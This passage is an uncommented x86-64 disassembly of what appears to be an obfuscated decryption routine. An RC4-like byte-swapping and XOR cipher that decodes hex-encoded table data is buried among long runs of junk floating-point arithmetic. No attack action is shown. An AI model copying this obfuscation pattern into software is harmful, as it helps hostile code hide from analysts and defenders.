comisd xmm1, xmm0
jbe 0x140127d94
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x78]
addsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x78]
subsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x78]
addsd xmm2, xmm0
mov byte [rbp + r9 + 0x20], cl
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x78]
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x78]
mulsd xmm2, xmm0
movsd qword [rsp + 0x78], xmm2
jmp 0x140127e17
movsd xmm1, qword [rsp + 0x78]
movsd xmm0, qword [rsp + 0x68]
divsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x50]
subsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x48]
addsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x60]
divsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x78]
addsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movzx r14d, byte [rsp + 0x70]
add r14b, byte [rbp + rcx + 0x20]
movsd xmm0, qword [0x1408b9100]
movsd xmm1, qword [0x1408b8f78]
movzx eax, r14b
mov byte [rsp + 0x70], r14b
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r10 + 0x20]
add rcx, rax
movzx eax, byte [rbp + rdx + 0x20]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rbx + 0x20]
movzx edx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r9 + 0x20]
add rcx, rax
movzx eax, cl
movzx ebx, byte [rbp + rdx + 0x20]
xor bl, byte [rbp + rax + 0x20]
movsd qword [rbp - 0x78], xmm0
xor bl, r8b
movsd xmm0, qword [0x1408b8de0]
movsd qword [rsp + 0x68], xmm1
movsd xmm1, qword [0x1408b8c90]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1408b8aa8]
movsd qword [rsp + 0x60], xmm1
movsd xmm1, qword [0x1408b8940]
movsd qword [rsp + 0x78], xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x50]
subsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x78]
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x78]
movsd xmm0, qword [rsp + 0x50]
subsd xmm2, xmm0
movsd qword [rsp + 0x78], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x68]
comisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x68]
jbe 0x140128175
movsd xmm0, qword [rbp - 0x78]
addsd xmm1, xmm0
movsd qword [rbp - 0x78], xmm1
movsd xmm2, qword [rsp + 0x78]
movsd xmm0, qword [rsp + 0x60]
mulsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x78]
subsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x78]
mulsd xmm2, xmm0
movsd qword [rbp - 0x78], xmm2
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x48]
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x48]
divsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x78]
movsd xmm0, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x48]
subsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rbp - 0x78]
movsd xmm0, qword [rsp + 0x68]
divsd xmm1, xmm0
movsd qword [rbp - 0x78], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x48]
subsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x78]
comisd xmm0, xmm1
jbe 0x1401280f2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x78]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rbp - 0x78]
movsd xmm0, qword [rsp + 0x48]
divsd xmm2, xmm0
movsd qword [rbp - 0x78], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x50]
divsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x68]
addsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
jmp 0x1401281f4
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x78]
addsd xmm1, xmm0
movsd qword [rbp - 0x78], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rbp - 0x78]
addsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x78]
movsd xmm0, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rsp + 0x78]
movsd xmm0, qword [rsp + 0x60]
addsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x78]
divsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x78]
addsd xmm2, xmm0
movsd qword [rsp + 0x78], xmm2
jmp 0x1401281f4
movsd xmm0, qword [rsp + 0x48]
movzx r10d, r8b
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x78]
addsd xmm2, xmm0
movsd qword [rsp + 0x78], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x48]
addsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rbp - 0x78]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x78]
addsd xmm2, xmm0
movsd qword [rbp - 0x78], xmm2
mov esi, 0xff
test edi, edi
je 0x140128205
mov eax, dword [rsp + 0x58]
mov byte [rbp + rax + 0x10], bl
lea ecx, [rdi + 1]
cmp ecx, 0xb
jge 0x140128acb
movss xmm3, dword [0x1408b9a4c]
mov r12d, listen
movss xmm4, dword [0x1408b984c]
sub r12d, ecx
movss xmm5, dword [0x1408b961c]
movss xmm6, dword [0x1408b9a74]
movss xmm7, dword [0x1408b9994]
movss xmm8, dword [0x1408b9880]
movss xmm9, dword [0x1408b9750]
movss xmm10, dword [0x1408b9638]
movss xmm11, dword [0x1408b94fc]
mov esi, dword [rsp + 0x40]
movaps xmmword [rsp + 0x490], xmm12
movss xmm12, dword [0x1408b9b48]
movaps xmmword [rsp + 0x480], xmm13
movss xmm13, dword [0x1408b9a98]
movaps xmmword [rsp + 0x470], xmm14
movss xmm14, dword [0x1408b993c]
movaps xmmword [rsp + 0x460], xmm15
movss xmm15, dword [0x1408b977c]
mov eax, dword [rbp - 0x80]
lea rcx, [0x14087ba94]
add eax, 2
mov dword [rsp + 0x68], edi
mov dword [rbp - 0x80], eax
inc edi
cdqe
add rax, rcx
movzx ecx, byte [rax]
movzx r9d, byte [rax + 1]
movss dword [rsp + 0x58], xmm3
movss dword [rsp + 0x40], xmm4
movss dword [rsp + 0x48], xmm5
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
addss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x48]
comiss xmm0, xmm1
movss xmm1, dword [rsp + 0x40]
jbe 0x140128378
movss xmm0, dword [rsp + 0x48]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x40]
divss xmm2, xmm0
movss dword [rsp + 0x58], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
jmp 0x1401283ae
movss xmm0, dword [rsp + 0x58]
addss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
addss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
addss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss dword [rsp + 0x40], xmm6
movss dword [rbp - 0x78], xmm7
movss dword [rsp + 0x50], xmm8
movss dword [rsp + 0x78], xmm9
movss dword [rsp + 0x48], xmm10
movss dword [rsp + 0x60], xmm11
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
mulss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
mulss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
addss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
subss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
mulss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
subss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x48]
comiss xmm0, xmm1
jbe 0x140128684
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
divss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rbp - 0x78]
mulss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rbp - 0x78]
subss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x48]
addss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x50]
subss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x40]
divss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x48]
subss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
divss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x78]
addss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x50]
divss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
subss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
comiss xmm1, xmm0
jbe 0x140128606
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
addss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
addss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rbp - 0x78]
addss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x50]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
subss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
jmp 0x14012870a
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
subss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rbp - 0x78]
addss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x50]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
divss xmm2, xmm0
jmp 0x140128705
movss xmm1, dword [rsp + 0x60]
lea esi, [rcx - 0x1e]
movss xmm0, dword [rsp + 0x78]
addss xmm1, xmm0
shl esi, 4
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
subss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rbp - 0x78]
mulss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
mulss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rbp - 0x78]
addss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm0, dword [0x1408b7cd4]
add r9b, 0x2f
movzx r10d, r10b
or r9b, sil
movzx r11d, byte [rbp + r10 + 0x20]
movss dword [rsp + 0x48], xmm12
movss dword [rsp + 0x40], xmm13
movss dword [rsp + 0x60], xmm14
movss dword [rsp + 0x50], xmm15
movss dword [rsp + 0x58], xmm0
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x48]
mulss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x48]
mulss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x50]
addss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x48]
comiss xmm1, xmm0
jbe 0x140128837
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x60]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x60]
divss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
mulss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x58]
divss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
mulss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
jmp 0x1401288b1
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x40]
addss xmm1, xmm0
movzx eax, r13b
inc r13b
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
subss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
add r15b, byte [rbp + rax + 0x20]
mulss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1408b9368]
movzx edx, r15b
movzx r8d, bl
movzx ecx, r13b
movzx eax, byte [rbp + rdx + 0x20]
mov byte [rbp + r10 + 0x20], al
movzx eax, byte [rbp + r8 + 0x20]
mov byte [rbp + rdx + 0x20], al
movzx eax, byte [rbp + rcx + 0x20]
mov byte [rbp + r8 + 0x20], al
mov byte [rbp + rcx + 0x20], r11b
add r14b, byte [rbp + r11 + 0x20]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1408b91d8]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1408b8ec8]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1408b8b28]
movsd qword [rsp + 0x58], xmm0
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
mulsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
comisd xmm1, xmm0
jbe 0x1401289e4
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x40]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x40]
mulsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
divsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
jmp 0x140128a76
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
subsd xmm1, xmm0
movzx eax, r14b
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r10 + 0x20]
add rcx, rax
movzx eax, byte [rbp + r8 + 0x20]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + rdx + 0x20]
add rax, r11
movzx eax, al
movzx ebx, byte [rbp + rcx + 0x20]
xor bl, byte [rbp + rax + 0x20]
movsd qword [rsp + 0x40], xmm1
xor bl, r9b
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
mulsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movzx r10d, r9b
test edi, edi
je 0x140128a86
mov eax, dword [rsp + 0x68]
mov byte [rbp + rax + 0x10], bl
sub r12, 1
jne 0x1401282b2
movaps xmm15, xmmword [rsp + 0x460]
xorps xmm10, xmm10
movaps xmm14, xmmword [rsp + 0x470]
mov esi, 0xff
movaps xmm13, xmmword [rsp + 0x480]
movaps xmm12, xmmword [rsp + 0x490]
movsd xmm11, qword [0x1408b4358]
mov byte [rsp + 0x70], r14b
movzx r9d, r10b
movzx edx, bl
mov r12d, edi
inc edi
mov dword [rsp + 0x68], edi
movzx r10d, byte [rbp + r9 + 0x20]
mov byte [rbp - 0x6f], r10b
lea eax, [rdi + rdi]
movsxd rcx, eax
lea rax, [0x14087ba94]
movzx r11d, byte [rcx + rax + 1]
movzx r14d, byte [rcx + rax]
sub r11d, 0xd1
movzx eax, r13b
add r14b, 2
inc r13b
shl r14b, 4
movzx ecx, r13b
or r14b, r11b
add r15b, byte [rbp + rax + 0x20]
movzx r8d, r15b
movzx eax, byte [rbp + r8 + 0x20]
mov byte [rbp + r9 + 0x20], al
movzx eax, byte [rbp + rdx + 0x20]
mov byte [rbp + r8 + 0x20], al
movzx eax, byte [rbp + rcx + 0x20]
mov byte [rbp + rdx + 0x20], al
mov byte [rbp + rcx + 0x20], r10b
movzx ecx, byte [rsp + 0x70]
add cl, byte [rbp + r10 + 0x20]
movzx eax, cl
mov byte [rsp + 0x70], cl
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r9 + 0x20]
add rcx, rax
movzx eax, byte [rbp + rdx + 0x20]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + r8 + 0x20]
add rcx, r10
movzx edx, byte [rbp + rax + 0x20]
movzx eax, cl
movzx r10d, byte [rbp + rdx + 0x20]
xor r10b, byte [rbp + rax + 0x20]
xor r10b, r14b
test edi, edi
je 0x140128b98
mov byte [rbp + r12 + 0x10], r10b
movsd xmm0, qword [0x1408b9298]
lea r12, [0x14087ba94]
movsd xmm1, qword [0x1408b9000]
inc edi
mov dword [rbp - 0x80], edi
lea eax, [rdi + rdi]
movsxd rcx, eax
movzx eax, byte [rcx + r12 + 1]
movzx r8d, byte [rcx + r12]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1408b8be0]
movsd qword [rsp + 0x58], xmm1
movsd qword [rsp + 0x40], xmm0
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x40]
subsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
comisd xmm0, xmm1
jbe 0x140128c81
movsd xmm1, qword [rsp + 0x40]
lea r11d, [rax - 0xd1]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x48]
subsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
jmp 0x140128d97
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
divsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x58]
divsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x48]
subsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x40]
comisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x40]
jbe 0x140128d5b
movsd xmm0, qword [rsp + 0x48]
divsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x58]
divsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
divsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
jmp 0x140128d97
movsd xmm0, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
mulsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [0x1408b93a8]
add r8b, 2
movsd xmm1, qword [0x1408b9198]
inc r13b
add r15b, byte [rbp - 0x6f]
movzx edx, r14b
shl r8b, 4
or r8b, r11b
movzx r9d, r15b
movzx ecx, byte [rbp + rdx + 0x20]
movsd qword [rsp + 0x58], xmm0
movsd xmm0, qword [0x1408b8d18]
movsd qword [rsp + 0x48], xmm1
movsd qword [rsp + 0x40], xmm0
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
addsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x40]
comisd xmm2, xmm0
jbe 0x140128e82
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x58]
movzx eax, byte [rbp + r9 + 0x20]
addsd xmm1, xmm0
mov byte [rbp + rdx + 0x20], al
movsd qword [rsp + 0x58], xmm1
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
addsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
jmp 0x140128ec4
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
